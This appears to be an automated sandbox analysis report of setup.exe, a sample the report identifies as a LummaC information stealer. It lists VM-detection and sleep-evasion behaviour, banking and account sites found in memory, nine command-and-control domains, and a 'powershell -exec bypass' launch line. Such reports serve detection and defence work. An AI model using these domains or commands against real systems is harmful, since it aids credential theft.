Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\setup.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6387	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3215	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2748	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe TID: 7156	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe TID: 5548	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6624	Thread sleep count: 6387 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3136	Thread sleep count: 3215 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5064	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1400	Thread sleep count: 2748 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 760	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 320	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: powershell.exe, 00000003.00000002.2368450658.000000000335A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UMSFT_NetEventVmNetworkAdatper.cdxmlP
Source: setup.exe, 00000000.00000003.2175740579.0000000003ED0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: setup.exe, setup.exe, 00000000.00000003.2151699757.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2222949494.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2357825221.00000000006D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: setup.exe, 00000000.00000003.2175740579.0000000003ED0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: powershell.exe, 00000003.00000002.2368450658.000000000335A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VntentxMSFT_NetEventVmNetworkAdatper.format.ps1xml
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: setup.exe, 00000000.00000002.2357204727.0000000000692000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: setup.exe, 00000000.00000003.2175826354.0000000003E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\setup.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: setup.exe, 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: setup.exe, 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: setup.exe, 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: setup.exe, 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: setup.exe, 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: setup.exe, 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: setup.exe, 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: setup.exe, 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: setup.exe, 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp	String found in binary or memory: sickyicyerh.click

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!doctype html> <!--[if lt ie 7]> <html class="no-js ie6 oldie" lang="en-us"> <![endif]--> <!--[if ie 7]> <html class="no-js ie7 oldie" lang="en-us"> <![endif]--> <!--[if ie 8]> <html class="no-js ie8 oldie" lang="en-us"> <![endif]--> <!--[if gt ie 8]><!--> <html class="no-js" lang="en-us"> <!--<![endif]--> <head> <title>suspected phishing site \| cloudflare</title> <meta charset="utf-8" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt ie 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte ie 10]><!--> <script> if (!navigator.cookieenabled) { window.addeventlistener('domcontentloaded', function () { var cookieel = document.getelementbyid('cookie-alert'); cookieel.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> warning</h4> <h2 style="margin: 16px 0;">suspected phishing</h2> <strong>this website has been reported for potential phishing.</strong> <p>phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a 